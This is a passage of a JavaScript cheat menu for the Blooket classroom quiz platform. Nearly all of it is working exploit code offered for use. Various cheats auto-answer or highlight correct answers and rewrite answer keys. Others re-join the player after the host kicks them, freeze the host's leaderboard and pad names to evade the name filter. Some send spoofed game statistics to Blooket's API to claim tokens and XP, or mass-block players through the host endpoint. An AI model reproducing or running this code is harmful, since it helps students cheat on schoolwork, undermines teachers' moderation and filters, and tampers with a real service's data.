Logs.addLog("Error adding an alert", "red");
}
});
return true;
} catch (e) {
console.warn(e);
return false;
}
},
diffObjects(obj1, obj2) {
const changed = {};
for (const key in obj1) {
if (!(key in obj2)) continue;
if (typeof obj1[key] === "object" && typeof obj2[key] === "object") {
const recChanged = Logs.diffObjects(obj1[key], obj2[key]);
if (recChanged && Object.keys(recChanged).length !== 0) changed[key] = recChanged;
} else if (JSON.stringify(obj1[key]) !== JSON.stringify(obj2[key])) changed[key] = obj2[key];
}
for (const key in obj2) if (!(key in obj1)) changed[key] = obj2[key];
if (Object.keys(changed).length == 0) return null;
return changed;
},
getGamemode() {
const gamemode = getStateNode().props?.client?.type;
if (typeof gamemode == "string") return gamemode.toLowerCase();
switch (window.location.pathname) {
case "/play/gold":
case "/play/gold/final":
case "/gold/play/landing":
return "gold";
case "/play/hack":
case "/play/hack/final":
case "/hack/play/landing":
return "hack";
case "/play/fishing":
case "/play/fishing/final":
case "/fish/play/landing":
return "fish";
case "/play/pirate":
case "/play/pirate/final":
case "/pirate/play/landing":
return "pirate";
case "/play/defense2/load":
case "/play/defense2":
case "/play/defense2/final":
case "/defense2/play/landing":
return "defense2";
case "/play/brawl/start":
case "/play/brawl/settings":
case "/play/brawl":
case "/play/brawl/final":
case "/brawl/play/landing":
return "brawl";
case "/play/dino":
case "/play/dino/final":
case "/dino/play/landing":
return "dino";
case "/play/battle-royale/match/preview":
case "/play/battle-royale/question":
case "/play/battle-royale/answer/sent":
case "/play/battle-royale/answer/result":
case "/play/battle-royale/match/result":
case "/play/battle-royale/final":
case "/royale/play/landing":
return "royale";
case "/defense/load":
case "/defense":
case "/defense/final":
case "/defense/play/landing":
return "defense";
case "/cafe/load":
case "/cafe":
case "/cafe/shop":
case "/cafe/final":
case "/cafe/play/landing":
return "cafe";
case "/play/factory":
case "/play/factory/settings":
case "/play/factory/start":
case "/play/factory/final":
case "/factory/play/landing":
return "factory";
case "/play/racing":
case "/play/racing/final":
case "/racing/play/landing":
return "racing";
case "/play/rush":
case "/play/rush/final":
case "/rush/play/landing":
return "rush";
case "/play/classic/get-ready":
case "/play/classic/question":
case "/play/classic/answer/sent":
case "/play/classic/answer/result":
case "/play/classic/standings":
case "/play/classic/final":
case "/classic/play/landing":
return "classic";
case "/tower/load":
case "/tower/start":
case "/tower/map":
case "/tower/battle":
case "/tower/rest":
case "/tower/risk":
case "/tower/shop":
case "/tower/victory":
case "/tower/final":
case "/tower/play/landing":
return "tower";
case "/kingdom/start":
case "/kingdom":
case "/kingdom/final":
case "/kingdom/play/landing":
return "kingdom";
case "/play/toy":
case "/play/toy/final":
case "/toy/play/landing":
return "toy";
}
return "";
},
sanitizer: document.createElement("div"),
sanitizeText(text) {
Logs.sanitizer.textContent = text;
return Logs.sanitizer.innerHTML;
},
addAlert(name, message) {
const element = document.createElement("li");
element.className = classes.logMessage;
const span = document.createElement("span");
Logs.lastLog.setTime(Date.now());
span.innerHTML = `${Logs.sanitizeText(name)} ${Logs.sanitizeText(message)}${parseTime(Logs.lastLog)}`;
let blook;
if ((blook = Logs.blookData?.[Logs.data[name].b])) {
const img = document.createElement("img");
img.src = blook.url;
span.prepend(img);
}
element.append(span);
logMessages.prepend(element);
},
lastLog: new Date(),
addLog(message, color) {
const element = document.createElement("li");
element.className = classes.logMessage;
const span = document.createElement("span");
if (color) span.style.color = color;
span.style.display = "flex";
Logs.lastLog.setTime(Date.now());
span.innerHTML = "[LOG] " + Logs.sanitizeText(message) + `${parseTime(Logs.lastLog)}`;
element.append(span);
logMessages.prepend(element);
},
interval: null,
};
if (window.location.host != "dashboard.blooket.com" && window.location.host != "blooket.com") Logs.interval = setInterval(() => Logs.connect().then((connected) => connected && clearInterval(Logs.interval)), 5000);
clearLogsButton.onclick = () => {
clearLogsButton.animate([{ rotate: "0deg" }, { rotate: "360deg" }], { duration: 750, easing: "ease" });
logMessages.innerHTML = "";
Logs.addLog("Cleared Logs");
};
const cheats = {
global: {
img: "https://ac.blooket.com/dashclassic/assets/Blooket-M6jYh_hk.png",
name: "Global",
cheats: [
{
name: "Auto Answer",
description: "Toggles auto answer on",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
const stateNode = getStateNode();
const Question = stateNode.state.question || stateNode.props.client.question;
if (stateNode.state.question.qType != "typing") {
if (stateNode.state.stage != "feedback" && !stateNode.state.feedback) {
let ind;
for (ind = 0; ind < Question.answers.length; ind++) {
let found = false;
for (let j = 0; j < Question.correctAnswers.length; j++)
if (Question.answers[ind] == Question.correctAnswers[j]) {
found = true;
break;
}
if (found) break;
}
document.querySelectorAll("[class*='answerContainer']")[ind].click();
} else document.querySelector("[class*='feedback'], [id*='feedback']").firstChild.click();
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(Question.answers[0]);
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Highlight Answers",
description: "Toggles highlight answers on",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
const stateNode = getStateNode();
const Question = stateNode.state.question || stateNode.props.client.question;
let ind = 0;
while (ind < Question.answers.length) {
let found = false;
for (let j = 0; j < Question.correctAnswers.length; j++)
if (Question.answers[ind] == Question.correctAnswers[j]) {
found = true;
break;
}
ind++;
document.querySelector("[class*='answersHolder'] :nth-child(" + ind + ") > div").style.backgroundColor = found ? "rgb(0, 207, 119)" : "rgb(189, 15, 38)";
}
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Subtle Highlight Answers",
description: "Toggles subtle highlight answers on",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
const stateNode = getStateNode();
const Question = stateNode.state.question || stateNode.props.client.question;
let ind = 0;
while (ind < Question.answers.length) {
let j = 0;
let found = false;
while (j < Question.correctAnswers.length) {
if (Question.answers[ind] == Question.correctAnswers[j]) {
found = true;
break;
}
j++;
}
ind++;
if (found) document.querySelector("[class*='answersHolder'] :nth-child(" + ind + ") > div").style.boxShadow = "unset";
}
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Freeze Leaderboard",
description: "Freezes the leaderboard on the host's screen",
type: "toggle",
enabled: !1,
data: null,
run: function() {
var e = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}
())[1].children[0]._owner.stateNode;
if (this.enabled)
this.enabled = !1, clearInterval(this.data), this.data = null, e.props.liveGameController.removeVal(`c/${e.props.client.name}/tat`);
else {
this.enabled = !0;
let t = () => {
e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/tat/Freeze`,
val: "freeze"
})
};
this.data = setInterval(t, 25)
}
}
}, {
name: "Anti Kick",
description: "Prevents the host from kicking you, Although cheats stop working and you can't win.",
type: "toggle",
enabled: false,
data: null,
run: function () {
const stateNode = getStateNode();
const lgc = stateNode?.props?.liveGameController;
if (!lgc) return alert("Not in a game.");
if (!this.enabled) {
// TURN ON
this.enabled = true;
const playerName = stateNode.props.client.name;
const savedBlook = stateNode.props.client.blook;
this.data = setInterval(() => {
lgc.getDatabaseRef("c").once("value", (snap) => {
const players = snap.val() || {};
// Host kicked you → your entry removed
if (!players[playerName]) {
lgc.setVal({
path: `c/${playerName}`,
val: {
n: playerName,
b: savedBlook
}
});
}
});
}, 500);
} else {
// TURN OFF
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
}
}, {
name: "Percent Auto Answer",
description: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
inputs: [
{
name: "Target Grade",
type: "number",
},
],
type: "toggle",
enabled: false,
data: null,
run: function (target) {
if (!this.enabled) {
this.enabled = true;
const stateNode = getStateNode();
this.data = setInterval(
(TARGET) => {
try {
const question = stateNode.state.question || stateNode.props.client.question;
if (stateNode.state.stage == "feedback" || stateNode.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
else if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
let correct = 0,
total = 0;
for (let corrects in stateNode.corrects) correct += stateNode.corrects[corrects];
for (let incorrect in stateNode.incorrects) total += stateNode.incorrects[incorrect];
total += correct;
const yes = total == 0 || Math.abs(correct / (total + 1) - TARGET) >= Math.abs((correct + 1) / (total + 1) - TARGET);
if (stateNode.state.question.qType != "typing") {
const answerContainers = document.querySelectorAll("[class*='answerContainer']");
for (let i = 0; i < answerContainers.length; i++) {
const contains = question.correctAnswers.includes(question.answers[i]);
if (yes == contains) return answerContainers[i]?.click?.();
}
answerContainers[0].click();
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(yes ? question.answers[0] : Math.random().toString(36).substring(2));
}
} catch {}
},
100,
(target ?? 100) / 100
);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Auto Answer",
description: "Click the correct answer for you",
run: function () {
const stateNode = getStateNode();
const Question = stateNode.state.question || stateNode.props.client.question;
if (stateNode.state.question.qType != "typing") {
if (stateNode.state.stage != "feedback" && !stateNode.state.feedback) {
let ind;
for (ind = 0; ind < Question.answers.length; ind++) {
let found = false;
for (let j = 0; j < Question.correctAnswers.length; j++)
if (Question.answers[ind] == Question.correctAnswers[j]) {
found = true;
break;
}
if (found) break;
}
document.querySelectorAll("[class*='answerContainer']")[ind].click();
} else document.querySelector("[class*='feedback'], [id*='feedback']").firstChild.click();
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(Question.answers[0]);
},
},
{
name: "Highlight Answers",
description: "Colors answers to be red or green highlighting the correct ones",
run: function () {
const stateNode = getStateNode();
const Question = stateNode.state.question || stateNode.props.client.question;
let ind = 0;
while (ind < Question.answers.length) {
let found = false;
for (let j = 0; j < Question.correctAnswers.length; j++)
if (Question.answers[ind] == Question.correctAnswers[j]) {
found = true;
break;
}
ind++;
document.querySelector("[class*='answersHolder'] :nth-child(" + ind + ") > div").style.backgroundColor = found ? "rgb(0, 207, 119)" : "rgb(189, 15, 38)";
}
},
},
{
name: "Simulate Unlock",
description: "Simulates unlocking a certain blook",
inputs: [{
name: "Blook (Case Sensitive)"
}],
run: (unlockedBlook) => {
const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
stateNode.setState({
loadingPack: !1,
openPack: !0,
unlockedBlook,
newUnlock: !0,
canOpen: !1
});
setTimeout(() => stateNode.setState({
canOpen: !0
}), 200);
}
}, {
name: "Simulate Pack",
description: "Simulates unlocking a pack",
inputs: [{
name: "Pack",
type: "options",
options: () => [...document.querySelector("[class*=packsWrapper]")?.children]?.map(e => e.children[0].children[0].alt)
}],
run: async (packName) => {
let i = document.createElement('iframe');
document.body.append(i);
const alert = i.contentWindow.alert.bind(window);
i.remove();
if (window.location.pathname !== "/market") {
alert("You must be on the market page to run this cheat!");
return;
}
const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
const getProbs = (pack) => (new Promise(res => {
if (!Array.prototype.map2) {
Array.prototype.map2 = Array.prototype.map;
}
Array.prototype.map = function() {
if (typeof this[0]?.[1] == "number") {
res(this);
Array.prototype.map = Array.prototype.map2;
}
return Array.prototype.map2.apply(this, arguments);
}
var a = new(stateNode.constructor)();
a.state.currentPack = pack;
a.render();
res(null);
}));
async function pickRandom(pack) {
let probs = (await getProbs(pack));
const choice = pickW(probs.map(e => e[1]));
return probs[choice];
}
function pickW(a) {
let v = 0;
let sum = [];
const rand = Math.floor(Math.random() * a.reduce((a, b) => a + b, 0));
a.forEach(e => (sum.push(v), v += e));
return sum.map(e => rand < e).findLastIndex(e => e ? 0 : 1);
}
stateNode.setState({
loadingPack: !1,
openPack: !0,
unlockedBlook: (await pickRandom(packName))[0],
newUnlock: !0,
canOpen: !1
});
setTimeout(() => stateNode.setState({
canOpen: !0
}), 200);
}
}, {
name: "Spam Buy Blooks",
description: "Opens a box an amount of times",
inputs: [
{
name: "Box",
type: "options",
options: () =>
Array.from(document.querySelectorAll("[class*='packsWrapper'] > div")).reduce((a, b) => {
b.querySelector("[class*='blookContainer'] > img") || a.push(b.querySelector("[class*='packImgContainer'] > img").alt);
return a;
}, []),
},
{
name: "Amount",
type: "number",
},
{
name: "Show Unlocks",
type: "options",
options: [
{
name: "Show Unlocks",
value: true,
},
{
name: "Don't Show Unlocks",
value: false,
},
],
},
],
run: async function (box, amountToOpen, alertBlooks) {
if (window.location.pathname.startsWith("/market")) {
const stateNode = getStateNode();
const prices = Array.prototype.reduce.call(
document.querySelectorAll("[class*='packsWrapper'] > div"),
(a, b) => {
b.querySelector("[class*='blookContainer'] > img") || (a[b.querySelector("[class*='packImgContainer'] > img").alt] = parseInt(b.querySelector("[class*='packBottom']").textContent));
return a;
},
{}
);
box = box
.split(" ")
.map((str) => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase())
.join(" ");
const cost = prices[box];
if (!cost) return alert("I couldn't find that box!");
const canOpen = Math.floor(stateNode.state.tokens / cost);
if (canOpen <= 0) return alert("You do not have enough tokens!");
const amount = Math.min(canOpen, amountToOpen || 0);
const blooks = {},
now = Date.now();
for (let i = 0; i < amount; i++) {
await stateNode.buyPack(true, box);
blooks[stateNode.state.unlockedBlook] ||= 0;
blooks[stateNode.state.unlockedBlook]++;
stateNode.startOpening();
clearTimeout(stateNode.openTimeout);
const rarity = stateNode.state.purchasedBlookRarity;
stateNode.setState({ canOpen: true, currentPack: "", opening: alertBlooks, doneOpening: alertBlooks, openPack: alertBlooks });
clearTimeout(stateNode.canOpenTimeout);
if (rarity == "Chroma") break;
}
await new Promise((r) => setTimeout(r));
alert(
`(${Date.now() - now}ms) Results:\n${Object.entries(blooks)
.map(([blook, amount]) => ` ${blook} ${amount}`)
.join(`\n`)}`
);
} else alert("This can only be ran in the Market page.");
},
},
{
name: "Bypass Filter",
description: "Bypasses the name filter",
inputs: [{
name: "Text",
type: "text",
}],
run: function(e) {
var t,
a,
o;
let r;
a = function e(t) {
for (var a = t.split(""), o = "", r = 0; r < a.length; r++)
o += "\xad" + a[r];
return o
}
(t = e),
r = document.createElement("iframe"),
document.body.appendChild(r),
window.alert = r.contentWindow.alert.bind(r.contentWindow),
(o = document.createElement("textarea")).value = a,
o.style.position = "fixed",
o.style.top = 0,
o.style.left = 0,
o.style.opacity = 0,
document.body.appendChild(o),
o.select(),
document.execCommand("copy"),
alert("Bypassed text copied to clipboard!"),
r.remove(),
document.body.removeChild(o)
}
}, {
name: "Use any Banner",
description: "Unlocked all banners",
inputs: [{
name: "Banner",
type: "options",
options: Object.entries({
Starter: "starter",
Fire: "fire",
"Tech Chip": "techChip",
Shamrocks: "shamrocks",
"Orange Ice Pop": "orangeIcePop",
Slime: "slime",
Sushi: "sushi",
"Falling Blocks": "fallingBlocks",
Racetrack: "racetrack",
"Football Field": "footballField",
"Ice Cream Sandwich": "iceCreamSandwich",
"Winter Landscape": "winterLandscape",
Leaves: "leaves",
"Music Class": "musicClass",
"Science Class": "scienceClass",
"Art Class": "artClass",
Clockwork: "clockwork",
"Hockey Rink": "hockeyRink",
"Outer Space": "outerSpace",
"Soccer Field": "soccerField",
Ice: "ice",
"Toaster Pastry": "toasterPastry",
"Fish Tank": "fishTank",
Theater: "theater",
Farm: "farm",
Spooky: "spooky",
"Spooky Cat": "spookyCat",
"Spooky Window": "spookyWindow",
Frankenstein: "frankenstein",
Ghosts: "ghosts",
Mummy: "mummy",
Spiders: "spiders",
Coffin: "coffin",
Pumpkins: "pumpkins",
"Christmas Tree": "christmasTree",
Chalkboard: "chalkboard",
Balloons: "balloons",
Skateboard: "skateboard",
Sunset: "sunset",
Tiger: "tiger",
"Pirate Map": "pirateMap",
Pencil: "pencil",
"Road Sign": "roadSign",
"Corn Dog": "cornDog",
Leaf: "leaf",
"Chili Pepper": "chiliPepper",
"Love Letter": "loveLetter",
Gifts: "gifts",
"Winter Train": "winterTrain",
"Winter Drive": "winterDrive",
Workbench: "workbench",
Harvest: "harvest",
Chocolate: "chocolate",
"Fall Picnic": "fallPicnic",
Bookshelf: "bookshelf",
"Easter Pattern": "easterPattern",
Carrot: "carrot",
"Easter Field": "easterField",
Garden: "garden",
Bakery: "bakery",
"Gummy Worm": "gummyWorm",
"Basketball Court": "basketballCourt",
"Flying Kite": "flyingKite",
"Hot Dog": "hotDog",
"Japanese Garden": "japaneseGarden",
Sandwich: "sandwich",
Ruler: "ruler",
"Ball Pit": "ballPit",
"Xylophone": "xylophone",
"Holiday Lights": "holidayLights",
"Ice Cream Truck": "iceCreamTruck",
"Holiday Gift Wrap": "holidayGiftWrap",
"Winter Sweater": "winterSweater",
"Holiday Ornaments": "holidayOrnaments",
Watermelon: "watermelon",
Baguette: "baguette",
Rollerblades: "rollerblades",
Surfboard: "surfboard",
Cookout: "cookout",
Comic: "comic",
Crayon: "crayon",
Lightning: "lightning",
Baseball: "baseball",
"Shamrock Coins": "shamrockCoins",
"End Of The Rainbow": "endRainbow",
"Easter Field": "easterField",
Marker: "marker",
Pizza: "pizza",
Leaf: "leaf",
"Alphabet Soup": "alphabetSoup"
}).map(([e, t]) => ({
name: e,
value: t
}))
}],
run: function(e) {
var t = document.createElement("iframe");
function a() {
return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner
}
document.head.appendChild(t),
window.alert = t.contentWindow.alert.bind(window),
window.prompt = t.contentWindow.prompt.bind(window),
t.remove(),
a().stateNode.props.liveGameController.setVal({
path: "c/" + a().stateNode.props.client.name + "/bg",
val: e
})
}
}, {
name: "Change Blook Ingame",
description: "Changes your blook",
inputs: [
{
name: "Blook (case sensitive)",
type: "string",
},
],
run: function (blook) {
let { props } = getStateNode();
props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: (props.client.blook = blook) });
},
},
{
name: "Free Player Slots",
description: "Allows more players to join if the game is full",
run: async () => {
let i = document.createElement('iframe');
document.body.append(i);
const alert = i.contentWindow.alert.bind(window);
i.remove();
const stateNode = Object.values(document.querySelector('#app>div>div'))[1].children[0]._owner.stateNode;
const players = await stateNode.props.liveGameController.getDatabaseVal("c");
let freed = 0;
if (!stateNode.state.blockedUsers) {
stateNode.state.blockedUsers = [];
}
async function wait(time) {
return new Promise(e => {
setTimeout(e, time);
});
}
async function blockUser(name) {
if (stateNode.state.blockedUsers.includes(name)) {
return;
}
const res = await fetch("https://fb.blooket.com/c/firebase/block", {
headers: {
"Content-Type": "application/json"
},
method: "POST",
body: JSON.stringify({
g: stateNode.props.host.id,
u: name
}),
credentials: "include"
});
if (res.status !== 200) {
return;
}
stateNode.state.blockedUsers.push(name);
freed++;
if (freed % parseInt("15") == 0) {
await wait(600);
}
C.alerts?.[0].addLog("Freed user: " + name);
}
for (let i in players) {
await blockUser(i);
}
alert(`Freed slots: ${freed}`);
}
}, {
name: "Get Daily Rewards",
description: "Gets max daily tokens and xp",
run: async function () {
if (!window.location.href.includes("play.blooket.com")) alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/");
else {
const gameId = [
"60101da869e8c70013913b59",
"625db660c6842334835cb4c6",
"60268f8861bd520016eae038",
"611e6c804abdf900668699e3",
"60ba5ff6077eb600221b7145",
"642467af9b704783215c1f1b",
"605bd360e35779001bf57c5e",
"6234cc7add097ff1c9cff3bd",
"600b1491d42a140004d5215a",
"5db75fa3f1fa190017b61c0c",
"5fac96fe2ca0da00042b018f",
"600b14d8d42a140004d52165",
"5f88953cdb209e00046522c7",
"600b153ad42a140004d52172",
"5fe260e72a505b00040e2a11",
"5fe3d085a529560004cd3076",
"5f5fc017aee59500041a1456",
"608b0a5863c4f2001eed43f4",
"5fad491512c8620004918ace",
"5fc91a9b4ea2e200046bd49a",
"5c5d06a7deebc70017245da7",
"5ff767051b68750004a6fd21",
"5fdcacc85d465a0004b021b9",
"5fb7eea20bd44300045ba495",
][Math.floor(Math.random() * 24)];
const rand = (l, h) => Math.floor(Math.random() * (h - l + 1)) + l;
const { t } = await fetch("https://play.blooket.com/api/playersessions/solo", {
body: JSON.stringify({ gameMode: "Factory", questionSetId: gameId }),
method: "POST",
credentials: "include",
})
.then((x) => x.json())
.catch(() => alert("There was an error creating a solo game."));
await fetch("https://play.blooket.com/api/playersessions/landings", {
body: JSON.stringify({ t }),
method: "POST",
credentials: "include",
}).catch(() => alert("There was an error when landing."));
await fetch("https://play.blooket.com/api/playersessions/questions?t=" + t, { credentials: "include" });
await fetch("https://play.blooket.com/api/gamequestionsets?gameId=" + gameId, { credentials: "include" });
await fetch("https://play.blooket.com/api/users/factorystats", {
body: JSON.stringify({ t, place: 1, cash: rand(10000000, 100000000), playersDefeated: 0, correctAnswers: rand(500, 2000), upgrades: rand(250, 750), blookUsed: "Chick", nameUsed: "You", mode: "Time-Solo" }),
method: "PUT",
credentials: "include",
}).catch(() => alert("There was an error when spoofing stats."));
await fetch("https://play.blooket.com/api/users/add-rewards", {
body: JSON.stringify({ t, addedTokens: 500, addedXp: 300 }),
method: "PUT",
credentials: "include",
})
.then((x) => x.json())
.then(({ dailyReward }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`))
.catch(() => alert("There was an error when adding rewards."));
}
},
},
{
name: "Blooket Bot",
description: "Opens Blooket Bot",
run: function() {
function getGameCode() {
const appDiv = document.querySelector('#app>div>div');
if (appDiv) {
const reactComponent = Object.values(appDiv)[1]?.children[0]?._owner;
return reactComponent?.stateNode?.props?.client?.hostId || null;
}
return null;
}
const gameCode = getGameCode();
const url = gameCode ? "https://blooketbot.schoolcheats.net/" + gameCode : "https://blooketbot.schoolcheats.net/";
window.open(url, "_blank", "width=500,height=500,resizable=yes,scrollbars=yes,status=yes");
}
}, {
name: "Use Any Blook",
description: "Allows you to play as any blook",
run: function () {
const lobby = window.location.pathname.startsWith("/play/lobby"),
dashboard = !lobby && window.location.pathname.startsWith("/blooks");
if (dashboard) {
let key = "konzpack",
propCall = Object.prototype.hasOwnProperty.call;
let webpack = webpackChunk_N_E.push([
[key],
{ [key]: () => {} },
function (func) {
Object.prototype.hasOwnProperty.call = function () {
Object.defineProperty(arguments[0], key, { set: () => {}, configurable: true });
return (Object.prototype.hasOwnProperty.call = propCall).apply(this, arguments);
};
return func;
},
]);
const blookData = webpack(4927).nK;
const blooksHook = Object.values(document.querySelector("[class*=BlooksWrapper_content]"))[0].return.memoizedState.next;
const showBlooks = blooksHook.memoizedState;
const seen = {},
userBlooks = [],
prices = {
Uncommon: 5,
Rare: 20,
Epic: 75,
Legendary: 200,
Chroma: 300,
Unique: 350,
Mystical: 1000,
};
for (const data of blooksHook.next.memoizedState) {
userBlooks.push(data);
seen[data.blook] = true;
}
for (const blook in blookData) {
if (blookData[blook].rarity != "Common" && !seen[blook])
userBlooks.push({
blook,
quantity: 1,
sellPrice: prices[blookData[blook].rarity],
});
}
blooksHook.next.queue.dispatch(userBlooks);
blooksHook.queue.dispatch(!showBlooks);
setTimeout(() => blooksHook.queue.dispatch(showBlooks), 1);
} else if (lobby) getStateNode().setState({ unlocks: { includes: () => !0 } });
else alert("This only works in lobbies or the dashboard blooks page.");
},
},
{
name: "Every Answer Correct",
description: "Sets every answer to be correct",
run: function () {
const stateNode = getStateNode();
for (let i = 0; i < stateNode.freeQuestions.length; i++) {
stateNode.freeQuestions[i].correctAnswers = stateNode.freeQuestions[i].answers;
stateNode.questions[i].correctAnswers = stateNode.questions[i].answers;
stateNode.props.client.questions[i].correctAnswers = stateNode.questions[i].answers;
}
try {
stateNode.forceUpdate();
} catch {}
},
},
{
name: "Remove all Taken Blooks",
description: "Removes all taken blooks, allowing you to use any taken blook. Only works in lobby.",
run: function() {
const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
stateNode.setState({
takenBlooks: {
includes: e => !1
}
});
stateNode.setState = function(a, b) {
if (a?.takenBlooks) {
return;
}
stateNode.updater.enqueueSetState(stateNode, a, b, "setState");
}
}
}, {
name: "Subtle Highlight Answers",
description: "Removes the shadow from correct answers",
run: function () {
const stateNode = getStateNode();
const Question = stateNode.state.question || stateNode.props.client.question;
let ind = 0;
while (ind < Question.answers.length) {
let j = 0;
let found = false;
while (j < Question.correctAnswers.length) {
if (Question.answers[ind] == Question.correctAnswers[j]) {
found = true;
break;
}
j++;
}
ind++;
if (found) document.querySelector("[class*='answersHolder'] :nth-child(" + ind + ") > div").style.boxShadow = "unset";
}
},
},
{
name: "Remove Random Name",
description: "Allows you to put a custom name",
run: function () {
getStateNode().setState({ isRandom: false, client: { name: "" } });
document.querySelector('[class*="nameInput"]')?.focus?.();
},
},
{
name: "Host Any Gamemode",
description: "Change the selected gamemode on the host settings page",
inputs: [{
name: "Gamemode",
type: "options",
options: ["Racing", "Classic", "Factory", "Cafe", "Defense2", "Defense", "Royale", "Gold", "Candy", "Brawl", "Hack", "Pirate", "Fish", "Dino", "Toy", "Rush"]
}],
run: function(e) {
let t = document.createElement("iframe");
if (document.body.append(t), window.alert = t.contentWindow.alert.bind(window), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), "/host/settings" != location.pathname)
return alert("Run this script on the host settings page");
let {
stateNode: a
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}
())[1].children[0]._owner;
a.setState({
settings: {
type: e
}
})
}
}, {
name: "Sell Duplicate Blooks",
description: "Sell all duplicate blooks leaving you with 1 each",
run: async function () {
if (window.location.pathname.startsWith("/blooks")) {
if (confirm(`Are you sure you want to sell your dupes? (Legendaries and rarer will not be sold)`)) {
let stateNode = getStateNode();
let now = Date.now(),
results = "";
for (const blook in stateNode.state.blookData)
if (stateNode.state.blookData[blook] > 1) {
stateNode.setState({ blook, numToSell: stateNode.state.blookData[blook] - 1 });
if (!["Uncommon", "Rare", "Epic"].includes(document.querySelector("[class*='highlightedRarity']").innerText.trim())) continue;
results += ` ${blook} ${stateNode.state.blookData[blook] - 1}\n`;
await stateNode.sellBlook({ preventDefault: () => {} }, true);
}
alert(`(${Date.now() - now}ms) Results:\n${results.trim()}`);
}
} else alert("This can only be ran in the Blooks page.");
},
},
],
},
// === START: extras category to add into the 'cheats' object ===
extras: {
img: "data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDI0MCAyNDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBvbHlnb24gZmlsbD0iI2ZkZDAyOSIgcG9pbnRzPSIxMjAsMTggMTUxLDk0IDI0MCw5NCAxNjgsMTQ4IDE5NSwyMzAgMTIwLDE4MyA0NSwyMzAgNzIsMTQ4IDAsOTQgODksOTQiLz48L3N2Zz4=",
name: "Extras",
cheats: [
{
name: "Toggle Invert Colors",
description: "Toggle between inverting and restoring colors on the page",
run: function () {
const html = document.documentElement;
html.style.filter = html.style.filter === "invert(1)" ? "" : "invert(1)";
const elems = document.querySelectorAll("a, img, video");
for (let i = 0; i < elems.length; i++) {
const el = elems[i];
if ((el.nodeName === "A" && (el.style.background !== "" || el.style.backgroundImage !== "")) || el.nodeName !== "A") {
el.style.filter = el.style.filter === "invert(1)" ? "" : "invert(1)";
}
}
},
},
{
name: "Toggle Dark Mode",
description: "Toggles Dark Mode",
run: function() {
var e = document.createElement("iframe");
document.body.append(e),
window.alert = e.contentWindow.alert.bind(window),
e.remove(),
! function e() {
let t = document.querySelectorAll("#nightify");
if (t.length)
t[0].parentNode.removeChild(t[0]);
else {
var a = document.getElementsByTagName("head")[0],
o = document.createElement("style");
o.setAttribute("type", "text/css"),
o.setAttribute("id", "nightify"),
o.appendChild(document.createTextNode(`html{-webkit-filter:invert(100%) hue-rotate(180deg) contrast(70%) !important; background: #222;} .line-content {background-color: #333;} html img{-webkit-filter:invert(100%) hue-rotate(0deg) contrast(100%) !important;}`)),
a.appendChild(o)
}
}
()
}
}, {
name: "3D Page",
description: "Makes the page 3D",
run: function() {
var e = {
menu: document.createElement("div"),
limit: document.createElement("input"),
gap: document.createElement("input"),
sag: document.createElement("input"),
fov: document.createElement("input"),
flo: document.createElement("input"),
off: document.createElement("input"),
non: document.createElement("input"),
end: document.createElement("input"),
tgl: document.createElement("input"),
cssStatic: document.createElement("style"),
cssDynamic: document.createElement("style"),
orientation: {
yaw: 0,
pitch: 0,
roll: 0
},
mouseMove: function(t) {
e.orientation.yaw = -(180 * Math.cos(Math.PI * t.clientX / innerWidth)) * e.limit.value,
e.orientation.pitch = 180 * Math.cos(Math.PI * t.clientY / innerHeight) * e.limit.value,
e.updateBody()
},
gyroMove: function(t) {
innerWidth > innerHeight ? (e.orientation.yaw = -(t.alpha + t.beta), e.orientation.pitch = t.gamma - 90 * Math.sign(90 - Math.abs(t.beta))) : (e.orientation.yaw = -(t.alpha + t.gamma), e.orientation.pitch = t.beta - 90),
e.updateBody()
},
updateOrigin: function(e) {
document.body.style.transformOrigin = innerWidth / 2 + pageXOffset + "px " + (innerHeight / 2 + pageYOffset) + "px"
},
updateBody: function() {
document.body.style.transform = "perspective(" + Math.pow(2, e.fov.value) + "px) translateZ(-" + e.gap.value + "px) rotateX(" + e.orientation.pitch + "deg) rotateY(" + e.orientation.yaw + "deg)"
},
updateCSS: function() {
if (e.non.checked)
e.cssDynamic.innerHTML = "";
else if (e.off.checked)
e.cssDynamic.innerHTML = "* { transform-style: preserve-3d; }";
else {
